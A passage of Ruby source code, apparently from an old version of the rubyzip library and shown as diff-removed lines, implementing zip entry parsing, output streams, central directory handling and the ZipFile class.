Iconv.conv(dst, src, str) - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end - end - end - - # Returns the name in the encoding specified by enc - def name_in(enc) - encode_string(@name, name_encoding, enc) - end - - # Returns the comment in the encoding specified by enc - def comment_in(enc) - encode_string(@comment, name_encoding, enc) - end - - def initialize(zipfile = "", name = "", comment = "", extra = "", - compressed_size = 0, crc = 0, - compression_method = ZipEntry::DEFLATED, size = 0, - time = Time.now) - super() - if name.starts_with("/") - raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" - end - @localHeaderOffset = 0 - @local_header_size = 0 - @internalFileAttributes = 1 - @externalFileAttributes = 0 - @version = 52 # this library's version - @ftype = nil # unspecified or unknown - @filepath = nil - if Zip::RUNNING_ON_WINDOWS - @fstype = FSTYPE_FAT - else - @fstype = FSTYPE_UNIX - end - @zipfile = zipfile - @comment = comment - @compressed_size = compressed_size - @crc = crc - @extra = extra - @compression_method = compression_method - @name = name - @size = size - @time = time - - @follow_symlinks = false - - @restore_times = true - @restore_permissions = false - @restore_ownership = false - -# BUG: need an extra field to support uid/gid's - @unix_uid = nil - @unix_gid = nil - @unix_perms = nil -# @posix_acl = nil -# @ntfs_acl = nil - - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - - unless ZipExtraField === @extra - @extra = ZipExtraField.new(@extra.to_s) - end - end - - def time - if @extra["UniversalTime"] - @extra["UniversalTime"].mtime - else - # Atandard time field in central directory has local time - # under archive creator. Then, we can't get timezone. - @time - end - end - alias :mtime :time - - def time=(aTime) - unless @extra.member?("UniversalTime") - @extra.create("UniversalTime") - end - @extra["UniversalTime"].mtime = aTime - @time = aTime - end - - # Returns +true+ if the entry is a directory. - def directory? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :directory - end - alias :is_directory :directory? - - # Returns +true+ if the entry is a file. - def file? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :file - end - - # Returns +true+ if the entry is a symlink. - def symlink? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :symlink - end - - def name_is_directory? #:nodoc:all - (%r{\/$} =~ @name) != nil - end - - def local_entry_offset #:nodoc:all - localHeaderOffset + @local_header_size - end - - def calculate_local_header_size #:nodoc:all - LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) - end - - def cdir_header_size #:nodoc:all - CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + - (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) - end - - def next_header_offset #:nodoc:all - local_entry_offset + self.compressed_size - end - - # Extracts entry to file destPath (defaults to @name). - def extract(destPath = @name, &onExistsProc) - onExistsProc ||= proc { false } - - if directory? - create_directory(destPath, &onExistsProc) - elsif file? - write_file(destPath, &onExistsProc) - elsif symlink? - create_symlink(destPath, &onExistsProc) - else - raise RuntimeError, "unknown file type #{self.inspect}" - end - - self - end - - def to_s - @name - end - - protected - - def ZipEntry.read_zip_short(io) # :nodoc: - io.read(2).unpack('v')[0] - end - - def ZipEntry.read_zip_long(io) # :nodoc: - io.read(4).unpack('V')[0] - end - public - - LOCAL_ENTRY_SIGNATURE = 0x04034b50 - LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 - LOCAL_ENTRY_TRAILING_DESCRIPTOR_LENGTH = 4+4+4 - VERSION_NEEDED_TO_EXTRACT = 10 - - def read_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip entry local header" - end - - @header_signature , - @version , - @fstype , - @gp_flags , - @compression_method, - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') - - unless (@header_signature == LOCAL_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - - @name = io.read(nameLength) - extra = io.read(extraLength) - - if (extra && extra.length != extraLength) - raise ZipError, "Truncated local zip entry header" - else - if ZipExtraField === @extra - @extra.merge(extra) - else - @extra = ZipExtraField.new(extra) - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_local_entry(io) - entry = new(io.path) - entry.read_local_entry(io) - return entry - rescue ZipError - return nil - end - - def write_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - - io << - [LOCAL_ENTRY_SIGNATURE , - VERSION_NEEDED_TO_EXTRACT , # version needed to extract - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0, - @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') - io << @name - io << (@extra ? @extra.to_local_bin : "") - end - - CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 - CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 - - def read_c_dir_entry(io) #:nodoc:all - staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" - end - - @header_signature , - @version , # version of encoding software - @fstype , # filesystem type - @versionNeededToExtract, - @gp_flags , - @compression_method , - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength , - commentLength , - diskNumberStart , - @internalFileAttributes, - @externalFileAttributes, - @localHeaderOffset , - @name , - @extra , - @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') - - unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - @name = io.read(nameLength) - if ZipExtraField === @extra - @extra.merge(io.read(extraLength)) - else - @extra = ZipExtraField.new(io.read(extraLength)) - end - @comment = io.read(commentLength) - unless (@comment && @comment.length == commentLength) - raise ZipError, "Truncated cdir zip entry header" - end - - case @fstype - when FSTYPE_UNIX - @unix_perms = (@externalFileAttributes >> 16) & 07777 - - case (@externalFileAttributes >> 28) - when 04 - @ftype = :directory - when 010 - @ftype = :file - when 012 - @ftype = :symlink - else - raise ZipInternalError, "unknown file type #{'0%o' % (@externalFileAttributes >> 28)}" - end - else - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_c_dir_entry(io) #:nodoc:all - entry = new(io.path) - entry.read_c_dir_entry(io) - return entry - rescue ZipError - return nil - end - - def file_stat(path) # :nodoc: - if @follow_symlinks - return File::stat(path) - else - return File::lstat(path) - end - end - - def get_extra_attributes_from_path(path) # :nodoc: - unless Zip::RUNNING_ON_WINDOWS - stat = file_stat(path) - @unix_uid = stat.uid - @unix_gid = stat.gid - @unix_perms = stat.mode & 07777 - end - end - - def set_extra_attributes_on_path(destPath) # :nodoc: - return unless (file? or directory?) - - case @fstype - when FSTYPE_UNIX - # BUG: does not update timestamps into account - # ignore setuid/setgid bits by default. honor if @restore_ownership - unix_perms_mask = 01777 - unix_perms_mask = 07777 if (@restore_ownership) - FileUtils::chmod(@unix_perms & unix_perms_mask, destPath) if (@restore_permissions && @unix_perms) - FileUtils::chown(@unix_uid, @unix_gid, destPath) if (@restore_ownership && @unix_uid && @unix_gid && Process::egid == 0) - # File::utimes() - end - end - - def write_c_dir_entry(io) #:nodoc:all - case @fstype - when FSTYPE_UNIX - ft = nil - case @ftype - when :file - ft = 010 - @unix_perms ||= 0644 - when :directory - ft = 004 - @unix_perms ||= 0755 - when :symlink - ft = 012 - @unix_perms ||= 0755 - else - raise ZipInternalError, "unknown file type #{self.inspect}" - end - - @externalFileAttributes = (ft << 12 | (@unix_perms & 07777)) << 16 - end - - io << - [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, - @version , # version of encoding software - @fstype , # filesystem type - VERSION_NEEDED_TO_EXTRACT , # @versionNeededToExtract , - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0 , - @extra ? @extra.c_dir_length : 0 , - @comment ? comment.length : 0 , - 0 , # disk number start - @internalFileAttributes , # file type (binary=0, text=1) - @externalFileAttributes , # native filesystem attributes - @localHeaderOffset , - @name , - @extra , - @comment ].pack('VCCvvvvvVVVvvvvvVV') - - io << @name - io << (@extra ? @extra.to_c_dir_bin : "") - io << @comment - end - - def == (other) - return false unless other.class == self.class - # Compares contents of local entry and exposed fields - (@compression_method == other.compression_method && - @crc == other.crc && - @compressed_size == other.compressed_size && - @size == other.size && - @name == other.name && - @extra == other.extra && - @filepath == other.filepath && - self.time.dos_equals(other.time)) - end - - def <=> (other) - return to_s <=> other.to_s - end - - # Returns an IO like object for the given ZipEntry. - # Warning: may behave weird with symlinks. - def get_input_stream(&aProc) - if @ftype == :directory - return yield(NullInputStream.instance) if block_given? - return NullInputStream.instance - elsif @filepath - case @ftype - when :file - return File.open(@filepath, "rb", &aProc) - - when :symlink - linkpath = File::readlink(@filepath) - stringio = StringIO.new(linkpath) - return yield(stringio) if block_given? - return stringio - else - raise "unknown @ftype #{@ftype}" - end - else - zis = ZipInputStream.new(@zipfile, localHeaderOffset) - zis.get_next_entry - if block_given? - begin - return yield(zis) - ensure - zis.close - end - else - return zis - end - end - end - - def gather_fileinfo_from_srcpath(srcPath) # :nodoc: - stat = file_stat(srcPath) - case stat.ftype - when 'file' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :file - when 'directory' - if ! name_is_directory? - @name += "/" - end - @ftype = :directory - when 'link' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :symlink - else - raise RuntimeError, "unknown file type: #{srcPath.inspect} #{stat.inspect}" - end - - @filepath = srcPath - get_extra_attributes_from_path(@filepath) - end - - def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all - if @ftype == :directory - aZipOutputStream.put_next_entry(self) - elsif @filepath - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - else - aZipOutputStream.copy_raw_entry(self) - end - end - - def parent_as_string - entry_name = name.chomp("/") - slash_index = entry_name.rindex("/") - slash_index ? entry_name.slice(0, slash_index+1) : nil - end - - def get_raw_input_stream(&aProc) - File.open(@zipfile, "rb", &aProc) - end - - private - - def set_time(binaryDosDate, binaryDosTime) - @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) - rescue ArgumentError - puts "Invalid date/time in zip entry" - end - - def write_file(destPath, continueOnExistsProc = proc { false }) - if File.exists?(destPath) && ! yield(self, destPath) - raise ZipDestinationFileExistsError, - "Destination '#{destPath}' already exists" - end - File.open(destPath, "wb") do |os| - get_input_stream do |is| - set_extra_attributes_on_path(destPath) - - buf = '' - while buf = is.sysread(Decompressor::CHUNK_SIZE, buf) - os << buf - end - end - end - end - - def create_directory(destPath) - if File.directory? destPath - return - elsif File.exists? destPath - if block_given? && yield(self, destPath) - FileUtils::rm_f destPath - else - raise ZipDestinationFileExistsError, - "Cannot create directory '#{destPath}'. "+ - "A file already exists with that name" - end - end - Dir.mkdir destPath - set_extra_attributes_on_path(destPath) - end - -# BUG: create_symlink() does not use &onExistsProc - def create_symlink(destPath) - stat = nil - begin - stat = File::lstat(destPath) - rescue Errno::ENOENT - end - - io = get_input_stream - linkto = io.read - - if stat - if stat.symlink? - if File::readlink(destPath) == linkto - return - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A symlink already exists with that name" - end - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A file already exists with that name" - end - end - - File::symlink(linkto, destPath) - end - end - - - # ZipOutputStream is the basic class for writing zip files. It is - # possible to create a ZipOutputStream object directly, passing - # the zip file name to the constructor, but more often than not - # the ZipOutputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order - # to provide an IO-like interface for writing to a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method put_next_entry that closes the current entry - # and creates a new. - # - # Please refer to ZipInputStream for example code. - # - # java.util.zip.ZipOutputStream is the original inspiration for this - # class. - - class ZipOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :comment - - # Opens the indicated zip file. If a file with that name already - # exists it will be overwritten. - def initialize(fileName) - super() - @fileName = fileName - @outputStream = File.new(@fileName, "wb") - @entrySet = ZipEntrySet.new - @compressor = NullCompressor.instance - @closed = false - @currentEntry = nil - @comment = nil - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipOutputStream.open(fileName) - return new(fileName) unless block_given? - zos = new(fileName) - yield zos - ensure - zos.close if zos - end - - # Closes the stream and writes the central directory to the zip file - def close - return if @closed - finalize_current_entry - update_local_headers - write_central_directory - @outputStream.close - @closed = true - end - - # Closes the current entry and opens a new for writing. - # +entry+ can be a ZipEntry object or a string. - def put_next_entry(entryname, comment = nil, extra = nil, compression_method = ZipEntry::DEFLATED, level = Zlib::DEFAULT_COMPRESSION) - raise ZipError, "zip stream is closed" if @closed - new_entry = ZipEntry.new(@fileName, entryname.to_s) - new_entry.comment = comment if !comment.nil? - if (!extra.nil?) - new_entry.extra = ZipExtraField === extra ? extra : ZipExtraField.new(extra.to_s) - end - new_entry.compression_method = compression_method - init_next_entry(new_entry, level) - @currentEntry = new_entry - end - - def copy_raw_entry(entry) - entry = entry.dup - raise ZipError, "zip stream is closed" if @closed - raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) - finalize_current_entry - @entrySet << entry - src_pos = entry.local_entry_offset - entry.write_local_entry(@outputStream) - @compressor = NullCompressor.instance - entry.get_raw_input_stream { - |is| - is.seek(src_pos, IO::SEEK_SET) - IOExtras.copy_stream_n(@outputStream, is, entry.compressed_size) - } - @compressor = NullCompressor.instance - @currentEntry = nil - end - - private - def finalize_current_entry - return unless @currentEntry - finish - @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - - @currentEntry.calculate_local_header_size - @currentEntry.size = @compressor.size - @currentEntry.crc = @compressor.crc - @currentEntry = nil - @compressor = NullCompressor.instance - end - - def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) - finalize_current_entry - @entrySet << entry - entry.write_local_entry(@outputStream) - @compressor = get_compressor(entry, level) - end - - def get_compressor(entry, level) - case entry.compression_method - when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) - when ZipEntry::STORED then PassThruCompressor.new(@outputStream) - else raise ZipCompressionMethodError, - "Invalid compression method: '#{entry.compression_method}'" - end - end - - def update_local_headers - pos = @outputStream.tell - @entrySet.each { - |entry| - @outputStream.pos = entry.localHeaderOffset - entry.write_local_entry(@outputStream) - } - @outputStream.pos = pos - end - - def write_central_directory - cdir = ZipCentralDirectory.new(@entrySet, @comment) - cdir.write_to_stream(@outputStream) - end - - protected - - def finish - @compressor.finish - end - - public - # Modeled after IO.<< - def << (data) - @compressor << data - end - end - - - class Compressor #:nodoc:all - def finish - end - end - - class PassThruCompressor < Compressor #:nodoc:all - def initialize(outputStream) - super() - @outputStream = outputStream - @crc = Zlib::crc32 - @size = 0 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << val - end - - attr_reader :size, :crc - end - - class NullCompressor < Compressor #:nodoc:all - include Singleton - - def << (data) - raise IOError, "closed stream" - end - - attr_reader :size, :compressed_size - end - - class Deflater < Compressor #:nodoc:all - def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) - super() - @outputStream = outputStream - @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) - @size = 0 - @crc = Zlib::crc32 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << @zlibDeflater.deflate(data) - end - - def finish - until @zlibDeflater.finished? - @outputStream << @zlibDeflater.finish - end - end - - attr_reader :size, :crc - end - - - class ZipEntrySet #:nodoc:all - include Enumerable - - def initialize(anEnumerable = []) - super() - @entrySet = {} - anEnumerable.each { |o| push(o) } - end - - def include?(entry) - @entrySet.include?(entry.to_s) - end - - def <<(entry) - @entrySet[entry.to_s] = entry - end - alias :push :<< - - def size - @entrySet.size - end - alias :length :size - - def delete(entry) - @entrySet.delete(entry.to_s) ? entry : nil - end - - def each(&aProc) - @entrySet.values.each(&aProc) - end - - def entries - @entrySet.values - end - - # deep clone - def dup - newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) - end - - def == (other) - return false unless other.kind_of?(ZipEntrySet) - return @entrySet == other.entrySet - end - - def parent(entry) - @entrySet[entry.parent_as_string] - end - - def glob(pattern, flags = File::FNM_PATHNAME|File::FNM_DOTMATCH) - entries.select { - |entry| - File.fnmatch(pattern, entry.name.chomp('/'), flags) - } - end - -#TODO attr_accessor :auto_create_directories - protected - attr_accessor :entrySet - end - - - class ZipCentralDirectory - include Enumerable - - END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 - MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 - STATIC_EOCD_SIZE = 22 - - attr_reader :comment - - # Returns an Enumerable containing the entries. - def entries - @entrySet.entries - end - - def initialize(entries = ZipEntrySet.new, comment = "") #:nodoc: - super() - @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) - @comment = comment - end - - def write_to_stream(io) #:nodoc: - offset = io.tell - @entrySet.each { |entry| entry.write_c_dir_entry(io) } - write_e_o_c_d(io, offset) - end - - def write_e_o_c_d(io, offset) #:nodoc: - io << - [END_OF_CENTRAL_DIRECTORY_SIGNATURE, - 0 , # @numberOfThisDisk - 0 , # @numberOfDiskWithStartOfCDir - @entrySet? @entrySet.size : 0 , - @entrySet? @entrySet.size : 0 , - cdir_size , - offset , - @comment ? @comment.length : 0 ].pack('VvvvvVVv') - io << @comment - end - private :write_e_o_c_d - - def cdir_size #:nodoc: - # does not include eocd - @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } - end - private :cdir_size - - def read_e_o_c_d(io) #:nodoc: - buf = get_e_o_c_d(io) - @numberOfThisDisk = ZipEntry::read_zip_short(buf) - @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) - @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) - @size = ZipEntry::read_zip_short(buf) - @sizeInBytes = ZipEntry::read_zip_long(buf) - @cdirOffset = ZipEntry::read_zip_long(buf) - commentLength = ZipEntry::read_zip_short(buf) - @comment = buf.read(commentLength) - # remove trailing \n symbol - buf.chomp! - raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 - end - - def read_central_directory_entries(io) #:nodoc: - begin - io.seek(@cdirOffset, IO::SEEK_SET) - rescue Errno::EINVAL - raise ZipError, "Zip consistency problem while reading central directory entry" - end - @entrySet = ZipEntrySet.new - @size.times { - @entrySet << ZipEntry.read_c_dir_entry(io) - } - end - - def read_from_stream(io) #:nodoc: - read_e_o_c_d(io) - read_central_directory_entries(io) - end - - def get_e_o_c_d(io) #:nodoc: - begin - io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) - rescue Errno::EINVAL - io.seek(0, IO::SEEK_SET) - rescue Errno::EFBIG # FreeBSD 4.9 raise Errno::EFBIG instead of Errno::EINVAL - io.seek(0, IO::SEEK_SET) - end - - # 'buf = io.read' substituted with lump of code to work around FreeBSD 4.5 issue - retried = false - buf = nil - begin - buf = io.read - rescue Errno::EFBIG # FreeBSD 4.5 may raise Errno::EFBIG - raise if (retried) - retried = true - - io.seek(0, IO::SEEK_SET) - retry - end - - sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) - raise ZipError, "Zip end of central directory signature not found" unless sigIndex - buf=buf.slice!((sigIndex+4)...(buf.size)) - def buf.read(count) - slice!(0, count) - end - return buf - end - - # For iterating over the entries. - def each(&proc) - @entrySet.each(&proc) - end - - # Returns the number of entries in the central directory (and - # consequently in the zip archive). - def size - @entrySet.size - end - - def ZipCentralDirectory.read_from_stream(io) #:nodoc: - cdir = new - cdir.read_from_stream(io) - return cdir - rescue ZipError - return nil - end - - def == (other) #:nodoc: - return false unless other.kind_of?(ZipCentralDirectory) - @entrySet.entries.sort == other.entries.sort && comment == other.comment - end - end - - - class ZipError < StandardError ; end - - class ZipEntryExistsError < ZipError; end - class ZipDestinationFileExistsError < ZipError; end - class ZipCompressionMethodError < ZipError; end - class ZipEntryNameError < ZipError; end - class ZipInternalError < ZipError; end - - # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK. - # The most important methods are those inherited from - # ZipCentralDirectory for accessing information about the entries in - # the archive and methods such as get_input_stream and - # get_output_stream for reading from and writing entries to the - # archive. The class includes a few convenience methods such as - # #extract for extracting entries to the filesystem, and #remove, - # #replace, #rename and #mkdir for making simple modifications to - # the archive. - # - # Modifications to a zip archive are not committed until #commit or - # #close is called. The method #open accepts a block following - # the pattern from File.open offering a simple way to - # automatically close the archive when the block returns. - # - # The following example opens zip archive my.zip - # (creating it if it doesn't exist) and adds an entry - # first.txt and a directory entry a_dir - # to it. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" } - # zipfile.mkdir("a_dir") - # } - # - # The next example reopens my.zip writes the contents of - # first.txt to standard out and deletes the entry from - # the archive. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # puts zipfile.read("first.txt") - # zipfile.remove("first.txt") - # } - # - # ZipFileSystem offers an alternative API that emulates ruby's - # interface for accessing the filesystem, ie. the File and Dir classes. - - class ZipFile < ZipCentralDirectory - - CREATE = 1 - - attr_reader :name - - # default -> false - attr_accessor :restore_ownership - # default -> false - attr_accessor :restore_permissions - # default -> true - attr_accessor :restore_times - - # Opens a zip archive. Pass true as the second parameter to create - # a new archive if it doesn't exist already. - def initialize(fileName, create = nil) - super() - @name = fileName - @comment = "" - if (File.exists?(fileName)) - File.open(name, "rb") { |f| read_from_stream(f) } - elsif (create) - @entrySet = ZipEntrySet.new - else - raise ZipError, "File #{fileName} not found" - end - @create = create - @storedEntries = @entrySet.dup - - @restore_ownership = false - @restore_permissions = false - @restore_times = true - end - - # Same as #new. If a block is passed the ZipFile object is passed - # to the block and is automatically closed afterwards just as with - # ruby's builtin File.open method. - def ZipFile.open(fileName, create = nil) - zf = ZipFile.new(fileName, create) - if block_given? - begin - yield zf - ensure - zf.close - end - else - zf - end - end - - # Returns the zip files comment, if it has one - attr_accessor :comment - - # Iterates over the contents of the ZipFile. This is more efficient - # than using a ZipInputStream since this methods simply iterates - # through the entries in the central directory structure in the archive - # whereas ZipInputStream jumps through the entire archive accessing the - # local entry headers (which contain the same information as the - # central directory). - def ZipFile.foreach(aZipFileName, &block) - ZipFile.open(aZipFileName) { - |zipFile| - zipFile.each(&block) - } - end - - # Returns an input stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_input_stream(entry, &aProc) - get_entry(entry).get_input_stream(&aProc) - end - - # Returns an output stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_output_stream(entry, &aProc) - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - if newEntry.directory? - raise ArgumentError, - "cannot open stream to directory entry - '#{newEntry}'" - end - zipStreamableEntry = ZipStreamableStream.new(newEntry) - @entrySet << zipStreamableEntry - zipStreamableEntry.get_output_stream(&aProc) - end - - # Returns the name of the zip archive - def to_s - @name - end - - # Returns a string containing the contents of the specified entry - def read(entry) - get_input_stream(entry) { |is| is.read } - end - - # Convenience method for adding the contents of a file to the archive - def add(entry, srcPath, &continueOnExistsProc) - continueOnExistsProc ||= proc { false } - check_entry_exists(entry, continueOnExistsProc, "add") - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - newEntry.gather_fileinfo_from_srcpath(srcPath) - @entrySet << newEntry - end - - # Removes the specified entry. - def remove(entry) - @entrySet.delete(get_entry(entry)) - end - - # Renames the specified entry. - def rename(entry, newName, &continueOnExistsProc) - foundEntry = get_entry(entry) - check_entry_exists(newName, continueOnExistsProc, "rename") - @entrySet.delete(foundEntry) - foundEntry.name = newName - @entrySet << foundEntry - end - - # Replaces the specified entry with the contents of srcPath (from - # the file system). - def replace(entry, srcPath) - check_file(srcPath) - add(remove(entry), srcPath) - end - - # Extracts entry to file destPath. - def extract(entry, destPath, &onExistsProc) - onExistsProc ||= proc { false } - foundEntry = get_entry(entry) - foundEntry.extract(destPath, &onExistsProc) - end - - # Commits changes that has been made since the previous commit to - # the zip archive. - def commit - return if ! commit_required? - on_success_replace(name) { - |tmpFile| - ZipOutputStream.open(tmpFile) { - |zos| - - @entrySet.each { |e| e.write_to_zip_output_stream(zos) } - zos.comment = comment - } - true - } - initialize(name) - end - - # Closes the zip file committing any changes that has been made. - def close - commit - end - - # Returns true if any changes has been made to this archive since - # the previous commit - def commit_required? - return @entrySet != @storedEntries || @create == ZipFile::CREATE - end - - # Searches for entry with the specified name. Returns nil if - # no entry is found. See also get_entry - def find_entry(entry) - @entrySet.detect { - |e| - e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") - } - end - - # Searches for an entry just as find_entry, but throws Errno::ENOENT - # if no entry is found. - def get_entry(entry) - selectedEntry = find_entry(entry) - unless selectedEntry - raise Errno::ENOENT, entry - end - selectedEntry.restore_ownership = @restore_ownership - selectedEntry.restore_permissions = @restore_permissions - selectedEntry.restore_times = @restore_times - - return selectedEntry - end - - # Creates a directory - def mkdir(entryName, permissionInt = 0755) - if find_entry(entryName) - raise Errno::EEXIST, "File exists - #{entryName}" - end - @entrySet << ZipStreamableDirectory.new(@name, entryName.to_s.ensure_end("/"), nil, permissionInt) - end - - private - - def is_directory(newEntry, srcPath) - srcPathIsDirectory = File.directory?(srcPath) - if newEntry.is_directory && ! srcPathIsDirectory - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - elsif ! newEntry.is_directory && srcPathIsDirectory - newEntry.name += "/" - end - return newEntry.is_directory && srcPathIsDirectory - end - - def check_entry_exists(entryName, continueOnExistsProc, procedureName) - continueOnExistsProc ||= proc { false } - if @entrySet.detect { |e| e.name == entryName } - if continueOnExistsProc.call - remove get_entry(entryName) - else - raise ZipEntryExistsError, - procedureName+" failed. Entry #{entryName} already exists" - end - end - end - - def check_file(path) - unless File.readable? path - raise Errno::ENOENT, path - end - end - - def on_success_replace(aFilename) - tmpfile = get_tempfile - tmpFilename = tmpfile.path - tmpfile.close - if yield tmpFilename - File.rename(tmpFilename, name) - end - end - - def get_tempfile - tempFile = Tempfile.new(File.basename(name), File.dirname(name)) - tempFile.binmode - tempFile - end - - end - - class ZipStreamableDirectory < ZipEntry - def initialize(zipfile, entry, srcPath = nil, permissionInt = nil) - super(zipfile, entry) - - @ftype = :directory - entry.get_extra_attributes_from_path(srcPath) if (srcPath) - @unix_perms = permissionInt if (permissionInt) - end - end - - class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all - def initialize(entry) - super(entry) - @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) - @tempFile.binmode - end - - def get_output_stream - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def get_input_stream - if ! @tempFile.closed? - raise StandardError, "cannot open entry for reading while its open for writing - #{name}" - end - @tempFile.open # reopens tempfile from top - @tempFile.binmode - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def write_to_zip_output_stream(aZipOutputStream) - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - end - end - - class ZipExtraField < Hash - ID_MAP = {} - - # Meta class for extra fields - class Generic - def self.register_map - if self.const_defined?(:HEADER_ID) - ID_MAP[self.const_get(:HEADER_ID)] = self - end - end - - def self.name - self.to_s.split("::")[-1] - end - - # return field [size, content] or false - def initial_parse(binstr) - if ! binstr - # If nil, start with empty. - return false - elsif binstr[0,2] != self.class.const_get(:HEADER_ID) - $stderr.puts "Warning: weired extra feild header ID. skip parsing" - return false - end - [binstr[2,2].unpack("v")[0], binstr[4..-1]] - end - - def ==(other) - self.class != other.class and return false - each { |k, v| - v != other[k] and return false - } - true - end - - def to_local_bin - s = pack_for_local - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - - def to_c_dir_bin - s = pack_for_c_dir - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - end - - # Info-ZIP Additional timestamp field - class UniversalTime < Generic - HEADER_ID = "UT" - register_map - - def initialize(binstr = nil) - @ctime = nil - @mtime = nil - @atime = nil - @flag = nil - binstr and merge(binstr) - end - attr_accessor :atime, :ctime, :mtime, :flag - - def 